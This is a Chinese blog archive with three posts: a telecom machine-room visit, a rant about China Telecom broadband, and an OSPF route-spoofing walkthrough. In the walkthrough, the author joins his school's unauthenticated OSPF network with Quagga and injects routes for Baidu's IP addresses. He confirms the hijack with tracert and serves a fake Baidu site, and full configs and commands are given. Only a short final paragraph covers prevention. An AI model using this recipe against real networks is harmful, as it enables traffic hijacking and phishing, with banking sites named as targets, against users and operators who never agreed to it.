2009年3月18日星期三
电信机房游记
位置大概在这里(由于是坐车去的,不是特别清楚,反正就是在一个公车站对面):
查看大图
这里只是一个分区机房而已,里面大概有十几台核心交换机和无数的光电转换器(很奇怪为什么他们不都用光口交换机,一问才知道原来那些光纤都是100M的....)
大致参观了一下内部设备,交换机80%是华为的,另外发现少量思科和阿尔卡特-朗讯的,令我小吃一惊的是所有设备都是用低压直流供电的,而且基本上都配备了冗余电源,旁边的一个屋子地上铺满了蓄电池,数量大概有200以上,这个就是机房的UPS系统,不过由于隔着玻璃,里面又没有灯,所以不能照相。
除了交换机和配套实施,另外还有一排机柜,上面插满了同轴电缆,电信的说是公安局的图像监控系统,其中一台显示器上显示了一个路口的监视器拍摄的画面,而下面着滚动着从此通过的车的牌照号……
基本上值得一提的除了一堆光纤一闪一闪,一堆风扇嗡嗡乱叫以外,就是在某个小角落发现的一台小设备,放在汇聚交换机下面,有两个以太网接口在正面,除此之外只有硬盘,电源,网络指示灯和电源接口的1U服务器(姑且叫他服务器)。随即问电信的工程师,这是什么东西,得到答复:“我们也不知道,安全局的人让我们放这里的,应该是什么审查设备,我们在汇聚上开了端口镜像给他。” 由此判断,可能是属于伟大的墙的一部分,至少和金盾工程脱不开干系。
下面是照片show,手机拍摄,画质渣,聚焦差,而且由于有些设备上标了IP地址什么的(虽然我很想知道这东西有什么不能泄漏的),人家不让拍,只能远远的来几张:-(
(下图左下角那个角落就是那台神秘设备了,点击看不是很大的大图。另外神秘人物出没,请无视)
2008年12月19日星期五
不加密的OSPF路由寻找协议带来的安全问题
下面的篇幅,就是用来说明欺骗的原理,实现和预防机制。
=-=-=我是一条分割线=-=-=
原理篇:什么是OSPF
一下内容来自维基百科:
开放式最短路径优先(英文Open Shortest Path First,OSPF)是对链路状态路由协议的一种实现,隶属内部网关协议(IGP),故运作于自治系统内部。著名的迪克斯加算法(Dijkstra)被用来计算最短路径树。它使用“成本”作为路由度量。链路状态数据库用网络拓扑来创建,它在区域中的全部路由器上是等价的。
OSPF协议大概是在大型网络上使用最为广泛的IGP(Interior Gateway Protocol)协议。节点在建立邻接,接受连接状态宣告(link-state advertisement)之前,可以通过MD5进行安全验证。
一个OSPF网络可以被划分成更小的网络。其中,一个特别的区域(area)被称为骨干区域(backbone area),该区域是整个OSPF网络的核心区域,并且所有其他的区域都与之连接。所有的内部路由都通过骨干区域。所有的区域都必须连接到骨干区域,如果 不能建立直接连接,那么可以通过虚拟通道建立虚拟连接(virtual link)。
同一个广播域(broadcast domain)的路由器或者一个点对点(point to point)连接的两端的路由器,在发现彼此的时候,建立邻接(adjacencies)[1]。 同一广播网络或者模拟广播网络的点对点网络中的路由器会选举指定路由器(designated router, DR)和备份指定路由器(backup designated router, BDR),DR和BDR作为网络的中心负责路由器之间的信息交换从而降低了网络中的信息流量。OSPF协议同时使用单播(unicast)和多播(multicast)来发送Hello包和连接状态更新(link state updates),使用的多播地址为224.0.0.5和224.0.0.6。与RIP和BGP不同的是,OSPF协议不使用TCP或者UDP协议而是直接使用IP协议。
简单来说,OSPF 就是用于路由器之间交换自己所在网络信息的协议,OSPF本身是支持安全认证的,但是由于管理人员的失误,我们学校的路由器并没有配置这种安全认证机制,这也就给我们留下了可乘之机。
欺骗的实现就是依靠OSPF的路由器寻找模式发送OSPF响应包,从而篡改目标路由器上的路由表
=-=-=-=-=下面是淫荡的欺骗过程的分割线=-=-=-=-=-=-
实现篇:
1:欺骗的条件
要实现欺骗,需要有以下条件:
1)一台支持OSPF的路由设备(软硬都可)
2)目标OSPF应该和你(欺骗用路由)在同一个网段。
3)目标路由应该没有使用OSPF认证,或者你可以得到相应的认证信息。
2:准备工作
我是用的是一台双网卡的linux主机做软路由,上面跑了支持OSPF的Quagga作为路由软件,eth1与目标路由(也就是我们上网的网关相连)IP地址为自动获取,eth2与内部网络相连,绑定了多个IP
root@bearice-ubuntu-server:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:40:45:0e:52:12
inet addr:172.21.204.65 Bcast:172.21.204.255 Mask:255.255.255.0
inet6 addr: fe80::240:45ff:fe0e:5212/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2162021 errors:0 dropped:940 overruns:0 frame:0
TX packets:669879 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:196472110 (187.3 MB) TX bytes:565933427 (539.7 MB)
Interrupt:11 Base address:0x6e00
eth2 Link encap:Ethernet HWaddr 00:00:21:0e:22:f6
inet addr:192.168.100.200 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:21ff:fe0e:22f6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1809604 errors:0 dropped:0 overruns:0 frame:127
TX packets:406894 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:153446129 (146.3 MB) TX bytes:323207532 (308.2 MB)
Interrupt:3 Base address:0x300
安装qugga的过程省略,网上有现成的文章,使用ubuntu仅仅需要apt-get install quagga就行了。
把把我的配置文件贴出来:
! /etc/quagga/zerba.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-Zebra-Router
password goodpassword
enable password goodpassword
!
interface eth1
ipv6 nd suppress-ra
!
interface eth2
ipv6 nd suppress-ra
!
interface lo
!
ip forwarding
!
!
line vty
!
! /etc/quagga/ospfd.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-OSPF-Router
password goodpassword
enable password goodpassword
!
!
!
interface eth1
!
interface eth2
!
interface lo
!
router ospf
ospf router-id 172.21.204.65
network 172.21.204.0/24 area 0.2.0.0
network 192.168.100.0/24 area 0.2.0.0
area 0.2.0.0 stub
!
line vty
!
上面的area id可以通过嗅探得到:

图中的area id就是目标路由器发送的OSPF Hello包中的ID
3:欺骗开始
配置好quagga以后,你的quagga就应该自动和目标路由建立连接了。telnet 本地的2604端口(也就是OSPFD的配置端口),就可以看到:
root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router# sh ip os ne
Neighbor ID Pri State Dead Time Address Interface RXmtL RqstL DBsmL
172.16.7.3 1 Full/DR 31.559s 172.21.204.254 eth1:172.21.204.65 0 0 0
Bearice-OSPF-Router#
实验性的,我选取了百毒作为此次试验的目标,首先得到百毒的ip:
root@bearice-ubuntu-server:~# nslookup www.baidu.com
Server: 202.103.224.68
Address: 202.103.224.68#53
Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 121.14.88.14
Name: www.a.shifen.com
Address: 121.14.89.14
恩,得到他的IP地址了,在我的机器上配置这个IP地址,修改/etc/network/interfaces
auto eth2:3
iface eth2:3 inet static
address 121.14.89.14
netmask 255.255.255.255
auto eth2:4
iface eth2:4 inet static
address 121.14.88.14
netmask 255.255.255.255
然后在ifup eth2:3和ifup eth2:4就可以了。
然后需要在ospfd里面配置这个网络地址,好让目标路由中存在我们这个路由记录:
root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router#
Bearice-OSPF-Router# con
Bearice-OSPF-Router# configure
Bearice-OSPF-Router# configure terminal
Bearice-OSPF-Router(config)# rout
Bearice-OSPF-Router(config)# router o
Bearice-OSPF-Router(config)# router ospf
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 ar
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 area 0.2.0.0
Bearice-OSPF-Router(config-router)# network 121.14.89.14/32 area 0.2.0.0
这样就完成了欺骗,等待几秒钟时间,让路由器更新路由记录,然后在另一台机器上进行测试:
C:\Users\Bearice>tracert 121.14.89.14
通过最多 30 个跃点跟踪到 121.14.89.14 的路由
1 1 ms 1 ms 1 ms 172.21.204.254
2 1 ms 1 ms 1 ms 172.16.7.254
3 2 ms 5 ms 9 ms 10.4.0.1
4 1 ms 1 ms 1 ms 219.159.104.129
5 2 ms 2 ms 2 ms 218.65.144.129
6 * * 16 ms 218.65.144.5
7 * 6 ms 6 ms 202.97.66.113
8 11 ms 12 ms 14 ms 202.97.66.125
9 24 ms 24 ms 25 ms 202.97.21.130
10 24 ms 23 ms 23 ms 202.97.44.9
11 28 ms 35 ms 35 ms 202.97.25.197
12 <1>tracert 121.14.89.14
通过最多 30 个跃点跟踪到 121.14.89.14 的路由
1 1 ms 1 ms 1 ms 172.21.204.254
2 <1>
我们看到目标IP的路由路径已经成功改变了。
在我的机器上架设了一个lighttpd服务器,然后加上一个www.baidu.com.的vhost.欺骗完成,效果如下:

值得一提的是:这种欺骗的效果不仅仅限于本子网内,所有与目标路由交换路由信息的路由器都会加入这条路由记录。
这种方法的危害是很大的,加入我欺骗的IP不是百毒的而是网银的,那么后果是十分严重的。
=-=-=-=-=下面讲讲预防的方式=-=-=-=-=
当初OSPF的设计者们显然也认知到了这个问题,所以OSPF协议是支持认证的,也就是只有使用同一个密印的路由器之间才能交换信息(当然加入你能嗅探到,或者得到其中某个路由的配置权限,这种加密等于白费)
所以加入你是网络管理员的话,配置路由器时要注意不要使用默认的OSPF设置,加个密码吧。
2008年9月15日星期一
中国电信,我恨你
其实好坏也仅仅是相对的,这么骂也仅仅是为了出气而已。其实网络故障只是单纯的故障,任何物理故障都是可以修复的,而难修复的是垄断形成以后从业人员的心里。
在南方其实网通的服务是很不错的(可惜这里没有网通的线),而在北方电信的客服MM说话也是很甜的,经常需要南方北方来回跑的某熊对这一点深有体会。
希望反垄断法实施能产生一些真正的效果
最近被我们伟大的垄断企业:中国电信彻底的,完全的雷到了。
事件的起因是学校搞网络改革,把原先的校园网接入改为由电信负责的数字化校园宽带接入。广告说的好啊,每人一条网线独享×××的带宽。受够6人(这学期开 学以后是16+人)共享一条2MADSL(我们这栋楼连校园网都没)的某熊美滋滋的跑去办理了,每月60大洋,2M带宽。当时在营业厅问:是不是独立 IP,公网的,技术人员支支吾吾半天,一直重复是每人一条网线,重复问了好几遍是不是公网独立IP,才蹦出一句:大概是吧。就算这样总算也是办理了一个帐 号(排队的人还真多)。
等到了帐号开通以后发现事情完全不对头:首先,每个宿舍只有一条网线,还是原来剩下的(这栋楼以前布有网线,但是年代及其久远)不过这倒是无可厚非,用交 换机也是可以。然后设置自动捕获IP。发现所谓的公网IP完全是扯淡,得到的地址段是10.10.38.*,掩码255.255.254.0。好吧,是不 是公网IP也无所谓了(我强烈怀疑那个技术员知不知道什么是公网IP),只要网速快而且稳定就好。但是事实又一次证明了电信的扯淡性质:ping www.google.com 平均每10个数据包至少有2-3个是timeout,有2个的looptime>100ms,剩下的倒是不错,只有20ms,虽然不是很满意但还 行。但是使用一段时间以后发现稳定性极差,有时候根本无法连接到网络,检查了一下才发现,这栋楼的中央集线设备进入不是交换机而是集线器,也就是说:这栋 楼所有使用者发送的所有数据包,都会被完整的广播到其他机器上,而且由于线缆的质量极差,连接速度只有10Mbps(如果不是线的问题而是集线器的问题的 话,那电信就应该撞墙自杀算了,10M不带自适应的集线器怎么说也是2003年以前的古董了吧)用嗅探器抓包发现,网卡的空闲IO负荷已经接近理论最大值 了,也就是说我什么事都还没做,这条网线的带宽已经满了。
满了就满了,只要不影响我的2Mbps的额定网速我也没意见(虽然理论上已经不可能了),掉线,APR泛滥,广播风暴,什么事情都让我遇到了,最重要的 是,插上这条网线不久,我一直工作正常的TPLINK无线路由竟然宕机了(以前是ADSL的路由器,又挂载了一个8口的交换机,现在级联起来当交换机 用)。怪不得我们从电信那里出来的时候,那个人一直在说:要用集线器,要用集线器。感情用交换机还能把系统弄宕机了啊!
交换机宕机不要紧,大不了我们换集线器,可是这电脑蓝屏总该要紧了吧。这鸟网络使用必须安装一个登录软件,但是就是这个登录软件问题也是一大堆,不但用到 了winpcap(天知道用这个是不是用来窃取个人隐私的,不过就现在来看也不用这么专业的窃取了,反正所有数据包都是广播的),而且还要安装驱动(蓝屏 的根源啊,炉子应该最有感觉吧)。(幸亏前两天我换回了32位系统,不然估计连这个登陆器都运行不了),程序的逻辑上也是bug一堆,最主要的BUG是它 每次启动都要检测驱动,但是检测的又不完全,所以经常提示:驱动安装完成,是否重启,一不小心就要被他重启一回。
重启就重启吧,只是是软关机,对数据危险小一点(要是重启时有没保存的文档我就没办法了)但是那个驱动也继承了电信一贯的优良传统:蓝屏。现在某熊用的是 win2008系统,稳定性应该还是说的过去的,但是自打装上那个玩意儿就蓝屏不断。每天不蓝几次都不行。(其实有点夸张,因为我总共用了不到一天就丢掉 了,60块大了水漂,哦是70,还有初装费)
总之,这次是完完全全,彻彻底底的被电信忽悠了一次,我宣布,以后在我眼里,中国电信和中国足球同级。





